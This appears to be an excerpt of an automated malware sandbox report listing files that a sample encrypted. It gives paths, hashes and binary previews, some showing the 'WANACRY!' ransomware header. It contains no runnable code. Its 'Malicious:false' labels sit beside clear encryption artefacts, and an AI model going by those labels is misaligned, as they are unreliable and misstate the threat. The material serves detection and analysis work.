                                      Preview:wp...%a ..j.>v.....9u.b.8e4P..1(./W.s.yx.._...w&S..o..Y`!....x.....)R.?P........G..N....V.-+t0?....?..CB.....(.N.[y...pI.a..f..\.'....^..,%m..-..O...A..e....]r..h...u\..f...3C#....c.J....,X..nOP.h..$8..Co..9...K.,5"..............\. {..B.;o.@j....P...).W...AE-..j....}Zq.'....6.c.u@..LMH........cH.&.6hue.Y....02.[Pc.W4..8.r...M.u\0.............6..&..T.PD.W4...R.........Fi.Z..|/.."}dv...jC......r.%..*.[J_.cs...hCWJKG........eFCC.>,p.....S....f.N......D..I4..._.J..*.....n./%z........'.R.N&.w......../....!.R-.......P...>.?c@.K....&u0.Z...'.5..-.|...R.<......."t9.B..o...@..~9.I.zy.-.M.O.4g8..d.|y.....9...........-....G.o....g.h....x(A....,..ft..:...R..*-o\..T.77.0L.5J.sh.....p_..I/,.....c.l.x.P*..YR...&.A.>.y2.....>.. )A.......suE.R.J.V>.uI...).{m.............P/..e.==1(j[.T1..F(..3.....!.../v...m...vr..Z2.l.I.... .RLck..b.. ..{..w.M...>.T}..Q..-i...C.y...k...io.P%....*.1.......:<.F..#..4.MB*$...{..GF..PZ............[..D:...s.R.......<.B..zI.j..

                                      C:\Users\user\Desktop\VAMYDFPUND\SFPUSAFIOL.xlsx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.837665306446706
                                      Encrypted:false
                                      SSDEEP:24:bkVIawySWd+Byg8wVVflqs7AZEhM7EeI1ailsOzpsqiuSHgLhOwD:bkWvySXyg8M8d7Et1VtLiuEgLhr
                                      MD5:19EFC5FC3C46E6A814F446951354D3E6
                                      SHA1:95D8B5EE24EB9EBF10605DE87B14F56A6B8BBBB1
                                      SHA-256:8B8F240879F6E47BEA773E816847E6E9CD4FCC74A7745C8E19450FAE7729A259
                                      SHA-512:193204944862A8B99ABD7B78C23BEACC9A6378DA76D55019348935D88C8AA555ADBE700631AF5D5F29BA766FC16C7B890089F69A26D05EE2F459302AB77162EF
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....w...p.....f.U.~.........Ei...T."......4l..g.P..;..F.."`..U...T..y...o4*.d...d..;....=.l.h....p..K...^m.e*]j....A..M.d..<..y.F..P...w__.....+..G.t...q..X.0.\z9hy..Q..]C.k._....}..n3$...A.=Je..;e..a...$.p.....c.....[W.E.m.o.]...0.Y.\=....b..M............../..Of.$.V.`Ia...x6..-.m.....t6F2.[.ti...PY1........K.E.*.._....kD..Y....u....N.g..lG.Kg.+.f.s~IW3@V..G\xj.n[.8:h.oX.4&JC....6/..x....C%...h..w...^N. ....^....t...R...E.Y..3d...*.K.%F......w.Sq.:R,..+.K.....o.GQB.0.#.. <.vU~.g...k.xhJA.......qN..+(.....0u=........._.....f.?......(.)j\..m8.P..,.g.;Vd..i0<k..._....L{.F..~..Mp,..nP..#..........4n......lq..+R..a./4......w[....Z"......*yA...@f.. i).Yf..3.{.......&..s.`.1..r.W....C.BN......#.....q#Y.i..~Z........-..0A..D.*.#.c.K_45.....5...$I.Z...hA"..l...1..g.n6........t]^......s..t.xU.cf.Aj.....A......g..^....~.WD.U,....#.@k.R...7...!....G.ha.....s_.\bD..?.~..S.J.............S.*...C...y.w.<.a......q.Y6Do..h...&..2.b...m~K.D`.M.m([.

                                      C:\Users\user\Desktop\VAMYDFPUND\SFPUSAFIOL.xlsx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.837665306446706
                                      Encrypted:false
                                      SSDEEP:24:bkVIawySWd+Byg8wVVflqs7AZEhM7EeI1ailsOzpsqiuSHgLhOwD:bkWvySXyg8M8d7Et1VtLiuEgLhr
                                      MD5:19EFC5FC3C46E6A814F446951354D3E6
                                      SHA1:95D8B5EE24EB9EBF10605DE87B14F56A6B8BBBB1
                                      SHA-256:8B8F240879F6E47BEA773E816847E6E9CD4FCC74A7745C8E19450FAE7729A259
                                      SHA-512:193204944862A8B99ABD7B78C23BEACC9A6378DA76D55019348935D88C8AA555ADBE700631AF5D5F29BA766FC16C7B890089F69A26D05EE2F459302AB77162EF
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....w...p.....f.U.~.........Ei...T."......4l..g.P..;..F.."`..U...T..y...o4*.d...d..;....=.l.h....p..K...^m.e*]j....A..M.d..<..y.F..P...w__.....+..G.t...q..X.0.\z9hy..Q..]C.k._....}..n3$...A.=Je..;e..a...$.p.....c.....[W.E.m.o.]...0.Y.\=....b..M............../..Of.$.V.`Ia...x6..-.m.....t6F2.[.ti...PY1........K.E.*.._....kD..Y....u....N.g..lG.Kg.+.f.s~IW3@V..G\xj.n[.8:h.oX.4&JC....6/..x....C%...h..w...^N. ....^....t...R...E.Y..3d...*.K.%F......w.Sq.:R,..+.K.....o.GQB.0.#.. <.vU~.g...k.xhJA.......qN..+(.....0u=........._.....f.?......(.)j\..m8.P..,.g.;Vd..i0<k..._....L{.F..~..Mp,..nP..#..........4n......lq..+R..a./4......w[....Z"......*yA...@f.. i).Yf..3.{.......&..s.`.1..r.W....C.BN......#.....q#Y.i..~Z........-..0A..D.*.#.c.K_45.....5...$I.Z...hA"..l...1..g.n6........t]^......s..t.xU.cf.Aj.....A......g..^....~.WD.U,....#.@k.R...7...!....G.ha.....s_.\bD..?.~..S.J.............S.*...C...y.w.<.a......q.Y6Do..h...&..2.b...m~K.D`.M.m([.

                                      C:\Users\user\Desktop\VAMYDFPUND\SQSJKEBWDT.png

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.806796303257381
                                      Encrypted:false
                                      SSDEEP:24:QAwLzq7M3Z3KR5qvyWVgdtqvJoaPBALTZddaS:Qg7/R5qpgdtCvqdwS
                                      MD5:2D9172DAA05276F057D5B4FD9E29F001
                                      SHA1:2476C2DDFBFC8B194E5A7CA0127411EEBAB22037
                                      SHA-256:8F7FA9954F9E50552F3624F848A0D9DA115BC5FFC15E7085065FB2374D810154
                                      SHA-512:F7A0A7AD609327C853C2A18D38AB0D816948F67278F87D7FDD3768242D7A0A589BA74AE71F8375A71CD94676307BC48236355D57DF97B40862B73CF281D11D29
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.!.)9..A.ogf.6..cy.Wj...pl..4....m.il..$...QU$1..@..I....K..l.gz....e.e........J..=[q@....oxj.f.....G..u...bK.....H......=B....."p...hU...{?!;.4....7.n..i.....j.....{uUzda...K....f*h.p.3......z....TQ....|..N`.....T+.nt..... .&..h#...?v8.z_./?i?5..*%%...^.|uG7.j...C....d(..d-KF7.]...f..b..[..o..|.D*....FxO..Pm.Sg..x.$..O[.s.T......X.'..x.i...........+'"..2...'+9.[...9.r....B,...b.L3...'Z..}.....T..3b.&.A.`K....,..n.xd<..Q}$..f.)ry...D...2..._....b...8.\n.. $....5........t...6..4..w.^..=..oJg.(*.4.......j;.........h...*.....UT....;-.&..f.S...7..q........!../T0.6....i...;.!..!..\....E....Q.9.....#..G._..h.l~.&j..c\.z..B.5..".N./Gg{.x.BE..b.....a.~.xDJ..X..2dh.a.......uR...`Q.=O.V....A...2l....u.|.a^CLR.5.'...p[...x...)..>.T..|....`...;...d\.^.t6....3....hh....WH..$.4,......A...7.$...i9|....Eh 8^.R}..O.....^....v?..C...(.. ....F..y.7e.}q.B4.......Nn.{..-{.?...S...4o....qh..J.3C......Db.2..eE....G.67.y..h..<........?..oDN.....\.a%

                                      C:\Users\user\Desktop\VAMYDFPUND\SQSJKEBWDT.png.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.863396849652393
                                      Encrypted:false
                                      SSDEEP:24:bkm0NJMezlXXfoELd+8UFzRifNm9CvEKasY8wNYV2eN1gsYj5uBlp2iroaz+7wH:bkNplXvoS+9DaNm9CvEVd22g6sUk/t5l
                                      MD5:472595CF840276C5BFC501D3FED8C368
                                      SHA1:234744296209BE4818D2770F13D72E23D4D3F636
                                      SHA-256:D46CD14A647FD62210C003BAB432B8D15FE5D48F7790C0B472F7CAD05E7E30EE
                                      SHA-512:9B03FFDBDB5A01B626EA09CF557041DD3E8E2572CFFF65A2098BF5927F15E7B3604C9E5C6A907CBFD3701502961147FF22C2B47A6B012E43FB959835E1FE38C7
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....3....i../.(.*....{^D8...$..|K!...........R@+..p.ap..WQ...t...uVo`:.].v.f.3......G05O.<..t....`..%..x.O.....0`......9.&......N.;.RcR.\..........O..r.....L[...C.(a.L....9.n..9.......p...qx_/.......M....6.x.].D..n...@....p...{?z.E...X.aGO............>...a$)...j...}..5'\.....Ua..i.._.+&.R....Dt.}..s...H.r......VO...<..>+.4.I..`?.g..t..y9Q.l.P...9.....K..R..o."g....!f.b/[..........q...cL.Z.B$.........4Y{...Vm.I..e....f.7..{.6UY....I%..<v..;94..?...3..]/#y.qC.+..~.....Y...2..\....6......O?I>1.t...zX~.&C.Cp.b..C.g.v.1..5S.z..|@............g..C.....<..JL....6...J..`5!O.Ls...d..XQt...o....Z...:.`.A7..NU..8....5u....@n...C.:.ug.)~.q..N.4.n>.NU..L....*P......+...L.~{\.|........q.a.....o%%./]$N...P...K....F..{7vx...$..Pr<....**.H....!~w.>..G*...Xt...E.>?z"...`...w..T..a..y......o.`.=...n....br..c.r..<...6..yW}....B_....c8....Z.........p..m....C.).......>08.Fs.M.[Y...7n.................Z.=wF..B..V[$.....M..m..e..}...vg.q1...U.

                                      C:\Users\user\Desktop\VAMYDFPUND\SQSJKEBWDT.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.863396849652393
                                      Encrypted:false
                                      SSDEEP:24:bkm0NJMezlXXfoELd+8UFzRifNm9CvEKasY8wNYV2eN1gsYj5uBlp2iroaz+7wH:bkNplXvoS+9DaNm9CvEVd22g6sUk/t5l
                                      MD5:472595CF840276C5BFC501D3FED8C368
                                      SHA1:234744296209BE4818D2770F13D72E23D4D3F636
                                      SHA-256:D46CD14A647FD62210C003BAB432B8D15FE5D48F7790C0B472F7CAD05E7E30EE
                                      SHA-512:9B03FFDBDB5A01B626EA09CF557041DD3E8E2572CFFF65A2098BF5927F15E7B3604C9E5C6A907CBFD3701502961147FF22C2B47A6B012E43FB959835E1FE38C7
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....3....i../.(.*....{^D8...$..|K!...........R@+..p.ap..WQ...t...uVo`:.].v.f.3......G05O.<..t....`..%..x.O.....0`......9.&......N.;.RcR.\..........O..r.....L[...C.(a.L....9.n..9.......p...qx_/.......M....6.x.].D..n...@....p...{?z.E...X.aGO............>...a$)...j...}..5'\.....Ua..i.._.+&.R....Dt.}..s...H.r......VO...<..>+.4.I..`?.g..t..y9Q.l.P...9.....K..R..o."g....!f.b/[..........q...cL.Z.B$.........4Y{...Vm.I..e....f.7..{.6UY....I%..<v..;94..?...3..]/#y.qC.+..~.....Y...2..\....6......O?I>1.t...zX~.&C.Cp.b..C.g.v.1..5S.z..|@............g..C.....<..JL....6...J..`5!O.Ls...d..XQt...o....Z...:.`.A7..NU..8....5u....@n...C.:.ug.)~.q..N.4.n>.NU..L....*P......+...L.~{\.|........q.a.....o%%./]$N...P...K....F..{7vx...$..Pr<....**.H....!~w.>..G*...Xt...E.>?z"...`...w..T..a..y......o.`.=...n....br..c.r..<...6..yW}....B_....c8....Z.........p..m....C.).......>08.Fs.M.[Y...7n.................Z.=wF..B..V[$.....M..m..e..}...vg.q1...U.

                                      C:\Users\user\Desktop\VAMYDFPUND\VAMYDFPUND.docx

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.800546081962947
                                      Encrypted:false
                                      SSDEEP:24:WkmKQWMD5KDz5Idailt0jIrP5LVhkiL3mzcOnyak:2qyZBWtYM9k
                                      MD5:0D30152CD8A6F6D5AF80EF494535C5A4
                                      SHA1:3CAA92D7A49D2C1F0B0639C9B821489C6FB15169
                                      SHA-256:EF7063C703F9952403188F8974F8C65344933E38BA743BBCB39406B58B618611
                                      SHA-512:532A94A922C34318A4AE4855F0ADDC155244610E23F24EAADE6686F19811A9A2434A9198B7908EA4237E3F09EA7BC9041158476056BFE25FB140348371208B4B
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:|.L%.......I..A1"p%..E.....0.e0q...;......w...(..E....2.&.EI<.a#X.o*..VyC..j....#.O.g4I.g..QQ....&e... d;2..2gf.a............G.L.......[..~..;..7.RJ..dT&....%..cO+.l@^.b.1.....4..,V.....J.@.L.UMx5....[r..\.k.E.Uo...3....Y.?...J.C...f.....0...G...}^[.<..!.,.%.I cs...._._..CPM.XC.....63.t .K.....?....f.s.Yt........".1i......c@..DJ..p16...x\.W$Y.!p..#....}..Q.[.....Du....E...Q...d.L.V..C....6>t[.FT..6XK..&.!..y..z.P..j;...EV.i.....'..oPI...T'.%(P#.A67i.;{KS......hDB..!...;...].X.VH.R;.........Xi..T......z..UF.T..J=...1..\vP......B...z........'.Q..m.}.wx....B......U..t..O..a.k.;..#...w..$.....(2.63..\Q........!X.b..d`.<.......BMSp.........G/.EW....-..v+.#z.0......LB>.[qS4..6....8.]c.h.{I...Q.D.l..M...,c..........'.{..\...y.Q.0i.x*.E...$..&..O..."uSn...@!...v.......p6V.0..F......\;...l......(=.8.]3?|....6..>...s.s.....b.T.TI.rM..%J)w)&7..}X...p..n....5.H.3.u.6..j....Y.....(U..YHY.... .#A.?.q V:..K......m.{Z.M$~.)....7[L....e....S;J....S.y

                                      C:\Users\user\Desktop\VAMYDFPUND\VAMYDFPUND.docx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.856738169201365
                                      Encrypted:false
                                      SSDEEP:24:bkiZ4FbaliZvufCPnQvQ7HtMKod2Xxiaslm/cZ0vP4rCAgHNlZWy7GCDS:bkimWGRPn2QztMKodcfso/XgG3HN+OLO
                                      MD5:2E6D722CFB07D76171AA95F2CFA5DEDA
                                      SHA1:458DF968EB724E03D67A8AE9C3E73422A786B9FA
                                      SHA-256:E791EC88BB85704BD67E573A79FC4AE59345E816DFEE17E0CA6A966C4AB75045
                                      SHA-512:CD8C03C45C21F642E269F47C8C532A835D809D1618B246CE8D24D1014AE0F1B068401E1F7746C1B05851F5DF323942D1B1589C4F863D32A0EDF24FCC1D166873
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....}^.......%....E?<..}.~..L.m....3..F..fs.m.+..)...]._..d.|.m..e....9....:..x.|&.z.Ea....s.>.-......%e.i,}h#m7..,.?S.".....-.5..Z.|.Z......SK."..7Y.*W[.......l...).h.[.J....j.O......E..e..[4>X.Pd.3....^.Y....T.j.3...N>..w`.I..v~....$!e....1f...(.p}.)............Gz.....<?...@. t...O.A...#H...4ka|7..].q..xiR...v(=o.+S..g>g.:...^..4...C..*.o.6~Z.x@xD.....;/.1.x....Q...5..U..8.l..u[C.y,.Bv.+..T..../[.{3...S....z=....Td1...M.G.'.M...c._8....Y.......%R%.......pav....z...N.#...q..|..V.bO...|...9.?..../.....-.$...u..B%B.........,...n..Y..5...NV....nX..|c...$C.L.y.?.+.Lr....{.u..b.=53y...D....F|.u.[...z@w...].0...n..x..5....2.\.os.k.=I.YS.5.!...Q.|...9.^.`...3.m.....%..6W..@G..w...^..vq..7F..d3....}.C...1=.j.C..%x....fG......].....+.,:Q..*.:pT.....:..7...5.-.uW..#..H5Y..--.S..j5....Y_.-,...B08.T,}.w..%Pk...xU.....{e...HP.1..o..{V|0..T.........z....)k.tm...3kX..5....`..r..Z....~........[....Z!..6/L.A.....~.Ui..n....qo....N..%......N.N8.F&^.0.R0t.I

                                      C:\Users\user\Desktop\VAMYDFPUND\VAMYDFPUND.docx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.856738169201365
                                      Encrypted:false
                                      SSDEEP:24:bkiZ4FbaliZvufCPnQvQ7HtMKod2Xxiaslm/cZ0vP4rCAgHNlZWy7GCDS:bkimWGRPn2QztMKodcfso/XgG3HN+OLO
                                      MD5:2E6D722CFB07D76171AA95F2CFA5DEDA
                                      SHA1:458DF968EB724E03D67A8AE9C3E73422A786B9FA
                                      SHA-256:E791EC88BB85704BD67E573A79FC4AE59345E816DFEE17E0CA6A966C4AB75045
                                      SHA-512:CD8C03C45C21F642E269F47C8C532A835D809D1618B246CE8D24D1014AE0F1B068401E1F7746C1B05851F5DF323942D1B1589C4F863D32A0EDF24FCC1D166873
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....}^.......%....E?<..}.~..L.m....3..F..fs.m.+..)...]._..d.|.m..e....9....:..x.|&.z.Ea....s.>.-......%e.i,}h#m7..,.?S.".....-.5..Z.|.Z......SK."..7Y.*W[.......l...).h.[.J....j.O......E..e..[4>X.Pd.3....^.Y....T.j.3...N>..w`.I..v~....$!e....1f...(.p}.)............Gz.....<?...@. t...O.A...#H...4ka|7..].q..xiR...v(=o.+S..g>g.:...^..4...C..*.o.6~Z.x@xD.....;/.1.x....Q...5..U..8.l..u[C.y,.Bv.+..T..../[.{3...S....z=....Td1...M.G.'.M...c._8....Y.......%R%.......pav....z...N.#...q..|..V.bO...|...9.?..../.....-.$...u..B%B.........,...n..Y..5...NV....nX..|c...$C.L.y.?.+.Lr....{.u..b.=53y...D....F|.u.[...z@w...].0...n..x..5....2.\.os.k.=I.YS.5.!...Q.|...9.^.`...3.m.....%..6W..@G..w...^..vq..7F..d3....}.C...1=.j.C..%x....fG......].....+.,:Q..*.:pT.....:..7...5.-.uW..#..H5Y..--.S..j5....Y_.-,...B08.T,}.w..%Pk...xU.....{e...HP.1..o..{V|0..T.........z....)k.tm...3kX..5....`..r..Z....~........[....Z!..6/L.A.....~.Ui..n....qo....N..%......N.N8.F&^.0.R0t.I

                                      C:\Users\user\Desktop\VAMYDFPUND\ZQIXMVQGAH.pdf

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.821559742734335
                                      Encrypted:false
                                      SSDEEP:24:HjtlxsOTDds1UCcJLTs8h0i/c8Ak1vpK6NzacFBt+wpd99/YZca:Hj7LmJWLHn/c8X1vpK6FacjEA/YZD
                                      MD5:B04FA0E2404E1748D71810F90B0AC7E6
                                      SHA1:0AB150F5B250B9E72CB6E25EF550922ABB1E230B
                                      SHA-256:4F9499803147823906548FD277CE16D7B0EBD30079568D18B3CBEF102E7F387E
                                      SHA-512:3A6E3E7D6A3E05A46E1FF0ED4B28CB8EBC4E5F9AA1F9C67C697685190872F0C2A2996AEF6E9CE181E872370543167F6A9A4A226E1611575B8D5F3EFC40BAEFAE
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.^2./n...L./W....(.jZ.6AwT I...3...e=.Z..-..D..1e....d.V..P..,F..._...........x...!..n.X.('.i.5$.:.....{..Tj..Z.I5.)..D..."X<Od.....Y.j....._..}.ZvB..F.z.......;N...XI..V..Q.$bt....b.C... ..u~..E.D..R..........fF%..Hg...j.ay.9.E.<V.{.....nM...:.@bR.yU......-R\...s...g.l.{..*......>7.V$'.V..........,..8...6.....<h1.|..U.1 |...F.5.S]f.W.5^u?X..N.=....3.Z...............'...Ny;.v.g......[....'<........'.!L....T".<VO.B.....g-.h.c...<.&.....G...hd.j.+..@.3Oz.J..P.9..g.....I9.?.q...5.X.Z;.)_.[........)...PG.W>j..4...n.Q.,..wm..w./..Y"n.....%.a.........2..FrT...VM0...{..U.Q..e).'tV.....u...`.......Q.x=.5.B....f...5...mS.....q.....<.....\.%....h....s>.{3?RV=ya..Q5j..]1....i0..d......m...[....g...}$.....1c... ;8Y.c.........9....s.B.Q..R..W.........C.X..H...r;.?[.1..]..e.O.}$....'..3..E...[8.i.>..|.d.7raa.........K:.N..G$.f..o?^..A..E_b.%...8>.9.|Eh..3T.~...XP.S........x..H.)...<...K...(..?.%o[n.^..3@n.o$.......v@...6..m.&.z....~/..<..ufB"/.6{.w'*..

                                      C:\Users\user\Desktop\VAMYDFPUND\ZQIXMVQGAH.pdf.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.868552058164368
                                      Encrypted:false
                                      SSDEEP:24:bkJmPHcv6fJAfOLX0ULBLU+P8oOvCiK3gOPpvQvzOoks3hqpFGPcjhcijD:bk8P8vcksXtNLU+POvnx6vQvzJT3hqDt
                                      MD5:E81F26EFFC7EF806D7D2DF1953D9C441
                                      SHA1:DFFBE43F6A265F7A0BB8C71EB8340CE4B6580341
                                      SHA-256:2252932A13D30423CB87F504F95231E2B4A408A15FBD2D6F3AAB69F70C0713E1
                                      SHA-512:A2C070E7FBEF8B9D3E2D24174963DAD2E8955AFB7DA6F60EB1AB0BBC00E4F10B39027A517436770793DC92DAC4698B0ECB311D55E2CFDA88A0DB48106FED6C65
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....|.@B]..s.......q..K.^.Q....<D@.qG..d...~.....;0..y...E.....Q.:.b.3.)...75.<..dw..~4../.i}.Y.......]Dy..rP6.t.FUl.N.".U.`iBk.i.Q.{...][...#.I..g..q.E(f.#...ht..Q..r......F....Slo..~.w.|..W..B.....c.2....#K..-key..u"tc...d>..K.0(....iX .........%E(.?".............MU.f...A.\..V.......|..s.IL.X...#....KlD#...Hi2Gu..f.....=..%.O..keDe.s....r5D...........j.4....q.o ....Y-....a1.r.J.i....V.Tn,&'3..+M..[B..LQ.._.;.o.....n.#W.&N..1....%..8...../A.?'.c....gZ.n..1v).O@.z.Y.6..H..bo........v..Y..[g&..y....j.Qd...+I....;.U.7.)J.....e..)....`.'..z_.c.M.vR|mdU\.7..`.C.....lR.]....x..a.Ki...p."7..T..'......2..\..r..|@.O.SS.+.V.)Y....A.r...8L...P...}z.'^,.=.%.....GI..Y.....8..hf)o/..........j......l...j....}...C.F...o.4z...v.i........._.,z.,..4q...dl...x...v.LSn.d...R..=.3..:*_....z8.a.v........4..%..,W.M.,.%.;H...#..p.d>..$.Dn._~r^...&~.y....t.....po..M+...5....#i........fZw..%#Y.............M.k..IP..B..RnD!O..9O...4......2 X.Q.....U8B.A..rt.#....

                                      C:\Users\user\Desktop\VAMYDFPUND\ZQIXMVQGAH.pdf.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.868552058164368
                                      Encrypted:false
                                      SSDEEP:24:bkJmPHcv6fJAfOLX0ULBLU+P8oOvCiK3gOPpvQvzOoks3hqpFGPcjhcijD:bk8P8vcksXtNLU+POvnx6vQvzJT3hqDt
                                      MD5:E81F26EFFC7EF806D7D2DF1953D9C441
                                      SHA1:DFFBE43F6A265F7A0BB8C71EB8340CE4B6580341
                                      SHA-256:2252932A13D30423CB87F504F95231E2B4A408A15FBD2D6F3AAB69F70C0713E1
                                      SHA-512:A2C070E7FBEF8B9D3E2D24174963DAD2E8955AFB7DA6F60EB1AB0BBC00E4F10B39027A517436770793DC92DAC4698B0ECB311D55E2CFDA88A0DB48106FED6C65
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....|.@B]..s.......q..K.^.Q....<D@.qG..d...~.....;0..y...E.....Q.:.b.3.)...75.<..dw..~4../.i}.Y.......]Dy..rP6.t.FUl.N.".U.`iBk.i.Q.{...][...#.I..g..q.E(f.#...ht..Q..r......F....Slo..~.w.|..W..B.....c.2....#K..-key..u"tc...d>..K.0(....iX .........%E(.?".............MU.f...A.\..V.......|..s.IL.X...#....KlD#...Hi2Gu..f.....=..%.O..keDe.s....r5D...........j.4....q.o ....Y-....a1.r.J.i....V.Tn,&'3..+M..[B..LQ.._.;.o.....n.#W.&N..1....%..8...../A.?'.c....gZ.n..1v).O@.z.Y.6..H..bo........v..Y..[g&..y....j.Qd...+I....;.U.7.)J.....e..)....`.'..z_.c.M.vR|mdU\.7..`.C.....lR.]....x..a.Ki...p."7..T..'......2..\..r..|@.O.SS.+.V.)Y....A.r...8L...P...}z.'^,.=.%.....GI..Y.....8..hf)o/..........j......l...j....}...C.F...o.4z...v.i........._.,z.,..4q...dl...x...v.LSn.d...R..=.3..:*_....z8.a.v........4..%..,W.M.,.%.;H...#..p.d>..$.Dn._~r^...&~.y....t.....po..M+...5....#i........fZw..%#Y.............M.k..IP..B..RnD!O..9O...4......2 X.Q.....U8B.A..rt.#....

                                      C:\Users\user\Desktop\WKXEWIOTXI.docx

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.816587051801639
                                      Encrypted:false
                                      SSDEEP:24:KX0+Ws1CMtzHDar6T7RGdA/IRG9AF1s7GF1FoYdNzY4Br:C0Rs1Cr6vJA+AF1spYd28r
                                      MD5:787719F24BF91F749154A1AF92D26176
                                      SHA1:3B2330B3F19F94169AA92D0ADD53189069322E55
                                      SHA-256:FF44EFE9219250B562E4994BAC46E423FD04F6C76834717DA07C852EFEEEC751
                                      SHA-512:790703DAE7CE581D05FA80F9B79DB51D7C482CC9F02D0C7CBD3E5CC074313575563A30C0014E208E570635F2BEF3312A1104786D69897921FDB102EF7D7F01BA
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.d...AE.....g..'.<...Y..Y............,..s.._.B..A...lH.....j..~.@.+r.Q3i#...h..^#.}....r..8..&q......F8b....l@8{.H%...$&..*..}X..W{ ....a...\..\f...x.p.\.t.^.......<3F.........U.[ct.P..f..z...g.m...N.mI*Q...."` ..F^~~.|6.}.........1./,...h.J..t5....f...y..X..Zj.?.a^...F....?....@.......Ye[....s..&.....q..;kE.U...[..X.. ............c..v..H...H.... s.C;6.t....s^.O..k{...m^)..Q..u:e.z..4..+b..-..f8".I..:./....$.!......Y.....L.7......,A4..Do)gi.v.....N....>......9H..B...1Y.c.eL.k....G.1 >=].F..[r...v.j.......2..<......Fb..y...=......h..Ti.K......[....~....wF.G....g;<.....]...a.G.8L\.. ..'....s*5.=..../.e.r..-.s.:..r7.j.PO..`Bq..K\y.D....p...(.`l..sS.@...C.IO....F.!..S....g.+.#..x"{.$S_...GG.h.6..`....ry...G%..T.2.B..S^..C$w......0SC.BW...j..|e.O.Q..S@.!'..rs.... ....qD....i.w?..[A....]a....ka.p..fD%.d..ozM.s..^..&.b..a..LaR..FS...T......'..x&.'..o.=..mo....%..k.v+..G8..J:O..].=.p...m*@...H.I..J.^..U.H...Qi0.......j...?PF....<.x...*..4....!3."

                                      C:\Users\user\Desktop\WKXEWIOTXI.docx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.848581875667243
                                      Encrypted:false
                                      SSDEEP:24:bkrtTzRZZcJ83xAYl+Fsa7uZIM+IHE/c0ctrEFY58TjFTaQ2b4zoGEwT0K/:bkpvRZZAJeiN7uZIM+XBC5YFTaQ2czoA
                                      MD5:24427A8A45D9227AF7747F3B63CE0583
                                      SHA1:180DFA3545225976AEB2C0001C3C8A060BE0CC70
                                      SHA-256:D14D9FCF9D0E68EB2D3C096729DD5D452CEDF2B89181AE17FFB01DED4C6E284F
                                      SHA-512:1C4003563EDAEFF1753E87A38D3E75496D4C8D2C65B6D3AF3BF7C991B1592476AA2D958D970C5018DCE1583C53D8126056A3E0149417427F75FE579326E808C4
                                      Malicious:false
                                      Reputation:unknown
